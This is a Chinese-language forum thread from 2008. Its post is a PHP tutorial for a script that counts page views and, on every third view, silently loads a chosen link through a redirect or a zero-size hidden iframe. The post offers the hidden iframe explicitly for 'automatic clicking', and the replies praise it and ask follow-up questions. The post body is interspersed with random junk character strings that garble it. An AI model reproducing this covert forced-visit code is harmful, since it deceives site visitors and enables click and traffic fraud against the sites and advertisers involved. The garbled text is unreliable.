过期域名预定抢注

 找回密碼
 免费注册

[實例練習]指定PV值內指定鏈接轉向例程【初級】

 火.. [複製鏈接]
發表於 2008-10-17 11:47:26 | 顯示全部樓層 |閱讀模式
這是一個很簡單的練習,但發現有很多朋友都想要這樣的例程
4 k! n6 E/ J+ J3 j" Y8 l0 p/ L" G4 W! }8 }
0 f8 w" @9 C2 v( f) K8 V8 k! K8 U
這個例程指定了每3個PV瀏覽量,自動點擊一次百度知道鏈接zhidao.baidu.com就是說,你打開這個鏈接後,每刷新3次,你可以看到源代碼裡面就會執行一次隱藏的轉向,當然我為了讓大家看到轉向,iframe設置了高和寬,而你可以設置成0" J& J& L+ L, ]: F% L: b7 `% q
6 m1 g- x  V9 z# q
3 \4 M& ~# x9 C- U2 |
本例基於PHP5_utf-8,並且是面向對象。是一個簡單的例程,我們會講解此例程的全部原理,以幫助大家熟悉PHP執行過程。* o/ @8 e  x3 Y! g% M/ ^1 z/ P

2 W) P1 ~7 u$ v) w首先來看我們的目錄結構
" n1 n6 x1 ?4 }* g* C0 R1 \; V* M. x7 C% I+ Y! j) v
index.php
7 R! |4 h! K5 _- e+ \7 C: dPVtraffic/DisplayCode.php7 Z! N8 Q8 A% \1 I
PVtraffic/Setting.php
& I+ a; v# q7 V5 B5 \& G7 JPVtraffic/PVLog.php
* A; l5 E8 \& H' n! ^3 h
. S9 g% P; I& {目錄結構是非常簡單的,index.php負責顯示跳轉代碼,就是說,刷新操作和顯示跳轉代碼等,都是index.php需要幹的事情,當然這個index.php也可以變成任何支持php的頁面,比如display.php等。, a# _6 A/ \- n
, t' Q7 f- D# T: V2 @9 }
我們來看index.php的代碼8 O& n- |) G4 J6 K0 P! j
<?php. g: o* {0 ^& g4 }- u/ w
require_once('PVtraffic/DisplayCode.php');$ j& |9 `: d/ |+ b
$DisplayClickCode = new DisplayClickCode;1 g% [! i6 H% S: I
$DisplayClickCode->DisplayCode();7 R, N3 q/ y* F, l
?>) [! j1 z7 `) a. f( |( U
2 n" n3 L+ ~0 \0 N/ N
require_once表明了index首先包含了PVtraffic/DisplayCode.php這個頁面& b) G( e. i2 v
然後new一下,復活對象,這樣這個對象才可以使用,我第7課講的http://advertcn.com/viewthread.php?tid=63025&extra=page%3D1
$ P. m1 p) \  _1 X0 P* T6 v2 n( Z% t3 }! C" R2 G. J5 Q2 ?
我們看PVtraffic/DisplayCode.php的源代碼0 A+ M+ G8 h2 C  q% d  q& i! K# m
一個類class DisplayClickCode
8 l; M0 K* G. A/ W& G- r  r! N/ Z0 z7 F$ g8 j
裡面3個自定義函數,http://advertcn.com/viewthread.php?tid=62985&extra=page%3D1$ r8 C* x: n3 v! x
function DisplayCode()
0 @+ C# f% [% D( ~function SavePageViews($ClickInterval)
3 S3 T+ b  e1 vWriteFile($file,$mode,$content)" F! N, z1 Q5 p+ n4 E7 i( l9 w  l

9 u4 }( e' y5 |* Q# O9 _- n所以,index.php源代碼中,$DisplayClickCode = new DisplayClickCode;就是復活DisplayCode.php頁面中class DisplayClickCode類,復活後,拿一個新的變量來命名$DisplayClickCode。注意,前面是變量,後面是類,雖然字母一樣,但是意義不同。
& u8 e! m8 C' |( N/ N: x* _
) N! o# H1 r+ `4 Y復活後,我們就可以用類class DisplayClickCode裡面的自定義函數了
2 o" M: m: m* ]; X1 U$ ^0 q
index.php裡面的第3行,我們就使用我們自定義的函數DisplayCode()
: X: y1 {1 \( j) J  t, o$ E2 z, E
) x' T+ R6 p$ w  D- ?$DisplayClickCode->DisplayCode();
3 g) o% v4 f  s% p  h! U
/ y2 |9 R7 R! W% F" j( T下面我來講講6 K5 o* [5 `" n- J( u) J
PVtraffic/DisplayCode.php頁面,這個頁面有一個類包含3個自定義函數,作用分別是:
) g( h; g7 _& D
( d7 s/ P' L# X3 vfunction DisplayCode() 顯示跳轉代碼功能; q# b  R& u+ p, F0 u
function SavePageViews($ClickInterval) 儲存PV值到文本數據庫,帶一個參數& f' B* m/ Z) p/ U, D
function WriteFile($file,$mode,$content) 寫或生成一個文件3 b* t, ^) c* Q; K8 ?1 c8 {

8 n: i/ o) y% N+ [0 ^: x6 ~
$ \/ [* Z# l( V
" R- s$ a/ O/ y8 {好了,現在在說說全部頁面的流程,這點很重要:/ ^/ Y0 ?. C  e0 J* l; Y9 D/ j5 P

! _; ~, |# n; s( T! A( E8 I首先流量經過index.php
% d/ @3 q  t: R
% ^5 Z( D  A8 I9 q7 R
index.php載入頁面PVtraffic/DisplayCode.php
# v& _; G2 R7 `7 b  e6 P+ _& K( s( t8 a; }- _
並且index.php調用PVtraffic/DisplayCode.php頁面的函數DisplayCode()# W2 c$ _3 Y/ S& m1 {% J
6 z9 f( R) N, z; b4 T3 j
DisplayCode()這個函數載入頁面Setting.php(我們的手動設置頁面),得到我們要求的點擊間隔和跳轉代碼2 J' e: \1 ]+ z4 B1 Q" @  I& [6 g1 }5 A

& }$ U$ m( p1 v4 X; e' J然後DisplayCode()這個函數再計算當前已經瀏覽的PV值是否與我們指定的PV值相等 $this->SavePageViews($ClickInterval) == $ClickInterval3 d9 q" y) `& e9 g* @9 v! W6 i
' U  \2 Q- P) l; D" v; o* q) Y  Q
如果相等,打印出跳轉代碼 echo $DisplayClickCode;
1 K4 u: i$ i2 }+ N6 k
& d5 `4 y/ c  @/ t, A
* F& I  g! m7 P* _
全部流程就完畢了,要注意的是:
+ q4 X/ }! w! [7 N/ U& a7 ^) b  H$ ySavePageViews($ClickInterval)這個函數是儲存當前的PV值,它將當前PV的值儲存到PVtraffic/PVLog.php這個頁面,所以為什麼我們要把這個頁面設置成777可寫PVtraffic/PVLog.php也相當於我們的文本數據庫,只是這裡的數據庫非那種數據庫,這裡的數據庫只是一個非常簡單的可寫文本而已,但都儲存數據,所以也叫數據庫
# y- F5 ~5 I$ f+ |6 F
0 r7 z8 G# d7 a  R- d/ K1 jWriteFile($file,$mode,$content)這個函數,是SavePageViews函數使用的,就是SavePageViews用來儲存pv值,要將一些數據寫到一個文件中,所以要用WriteFile函數來實現寫入數據到文本的功能
. C$ d# b) I( Q2 S% o% t, \) N# a) F8 D7 ]& S+ |0 H6 \
Setting.php包含了2個變量,分別設置了我們的時間間隔和跳轉源代碼
8 |# O3 @: L: C
4 i3 _: w- U9 n/ V6 h
9 f, ]2 F' m( B4 e5 D6 u: m/ I
: f8 ^" @; e* L大概的講解就算結束了,更詳細的函數內部講解,請看源代碼,寫的很詳細。' S! r; i9 {( o0 w8 I
- [9 O) A* w8 A9 U7 @
小提示:
$ Y3 H4 R( {4 D  p$this-> 表示使用當前類的指定函數
5 L1 O3 d1 u* X. w; N: {0 W
+ n: ~! }1 n  E, ]: G$ g% G( ?; ^5 _6 fpublic function 表示這個函數可以在類的外部被調用,就是說公開的可以大家用7 r0 ~+ o. N: D$ Z
4 k. z2 ^; `1 o3 L" M
private function 表示這個函數只能在它的當前類裡面使用,外部調用不起,就是只能一個人用,別人不能用:)
7 L2 O) Q( z% m* l4 [2 `: z7 x- W6 @* B5 L, \
$DisplayClickCode = new DisplayClickCode; 新建一個類實例,就是說DisplayClickCode是一套規則,我們這時開通一個新的項目$DisplayClickCode,而這個項目使用class DisplayClickCode規則。這個項目也叫一個對象。
$ `8 s5 Y/ X0 X( M- l  p5 R5 z8 }9 [/ c3 A1 t
$DisplayClickCode->DisplayCode(); 使用對像 $DisplayClickCode 指定的類中的函數 DisplayCode()
) Z( l0 g8 ]6 a2 t1 M& e( r
+ l0 x4 [9 B" _( O+ @
+ \+ o/ E/ R& |% L5 \5 s0 M9 Z" b5 E% N6 s
本例是初級例程,不包含geoip判斷等
+ U- m* n' \1 A6 u/ b' p部分朋友想用於自動點擊,這裡寫一個iframe的寫法給大家/ P9 b, ^. P8 l$ Z4 y
  1. <iframe src="http://advertcn.com/" width="0" height="0" frameborder="no" style="display:none;"></iframe>
複製代碼

9 ?( r* i& F6 l+ ^! F* M/ m% s% _0 W8 \5 f. G
4 P) ?! C$ C% J2 i& N- h9 d# B' A
2012年6月20日更新
  r, D8 n1 z* X! \0 u& U 指定PV值内指定链接转向例程_PHP5_UTF-8.zip (2.85 KB, 下載次數: 10)
8 M$ h. G6 d6 ~# _

評分

參與人數 3 +45 收起 理由
无终狼 + 10 支持斑斑
无限可能 + 15 精品文章
陈汤 + 20 原创内容

查看全部評分

發表於 2008-10-17 15:55:55 | 顯示全部樓層
樓主真是個月光寶盒啊
回復 给力 爆菊

使用道具 舉報

發表於 2008-10-17 17:04:27 | 顯示全部樓層
如果改成5次PV點擊一次的話 PVLog.php裡的
0 G" S3 n: A6 t5 R! b" O% z<?php $pv=3; ?>也需要改成<?php $pv=5; ?>吧?
回復 给力 爆菊

使用道具 舉報

 樓主| 發表於 2008-10-17 17:17:44 | 顯示全部樓層
只改Setting.php,PVLog.php是記錄日誌的,這個不需要你改,PVLog.php裡面的值表示當前瀏覽了幾次
回復 给力 爆菊

使用道具 舉報

發表於 2008-10-17 21:25:35 | 顯示全部樓層
月光看來對php不是一般的精通啊
回復 给力 爆菊

使用道具 舉報

發表於 2008-10-27 01:57:44 | 顯示全部樓層
終於可以站在門裡面讚美了!謝謝啊
回復 给力 爆菊

使用道具 舉報

發表於 2008-10-30 03:23:19 | 顯示全部樓層
很棒的教程,謝謝
回復 给力 爆菊

使用道具 舉報

發表於 2008-10-30 12:25:33 | 顯示全部樓層
不錯!7 v% F2 @# Z7 u7 Y( l
但是如果轉向指定鏈接為隨機在N條鏈接中選擇一條,代碼又是如何實現?
回復 给力 爆菊

使用道具 舉報

發表於 2008-10-30 12:56:02 | 顯示全部樓層
靠.還有什麼不能的呢.我日啊
回復 给力 爆菊

使用道具 舉報

 樓主| 發表於 2008-10-30 17:45:22 | 顯示全部樓層
shui1212 wrote on 2008-10-30 12:25 :
; z# [  E3 ~: n3 _1 N  y* ^9 l不錯!/ ]3 E7 E3 `+ L5 {9 d
但是如果轉向指定鏈接為隨機在N條鏈接中選擇一條,代碼又是如何實現?

; n" X6 n) `& K2 H# a$ z& N5 Q
8 ?/ O: E+ ]$ A; l3 b2 m8 x8 `) }) z; j4 `( y1 I; Z
很簡單,請在提問專區詳細提出你的問題,我會源碼奉上
回復 给力 爆菊

使用道具 舉報

您需要登錄後才可以回帖 登錄 | 免费注册

本版積分規則

过期高净值品牌域名预定抢注

4um點基跨境網編創業社區

GMT+8, 2024-10-30 17:25

By DZ X3.5

小黑屋

快速回復 返回頂部 返回列表